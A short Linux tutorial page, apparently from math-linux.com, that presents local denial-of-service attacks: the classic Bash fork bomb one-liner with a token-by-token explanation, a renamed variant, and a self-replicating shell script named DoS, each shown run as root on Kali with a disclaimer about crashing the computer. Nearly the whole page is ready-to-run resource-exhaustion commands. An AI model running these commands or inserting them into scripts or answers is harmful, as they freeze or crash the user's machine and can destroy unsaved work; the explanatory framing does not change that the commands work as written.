{The samples must be use with caution, math-linux.com is not responsible for damage or shutting down your computer.}

In computing, a denial-of-service (DoS) or distributed denial-of-service (DDoS) attack is an attempt to make a machine or network resource unavailable to its intended users.

Bash fork function

[root@kali ] :(){ :|: & };:

Enter and BOUM !!! What does it mean ?

  • :( ) the function is :
  • { beginning of the function :
  • : recursive call in memory of :
  • | output is piped to an another copy :
  • & output in background, if firt instance of : is disowned, second one will be alive
  • } end of the function :
  • : call of function :

Note that commandline could be written

[root@kali ] DoS(){ DoS|DoS & };DoS

Recursive call script

Using the same idea, you can create an executable file {DoS} with recursive call:

[root@kali ] chmod +x DoS
[root@kali ] cat DoS
#!/bin/bash
./DoS& ./DoS
[root@kali ] ./DoS

BOUM !!!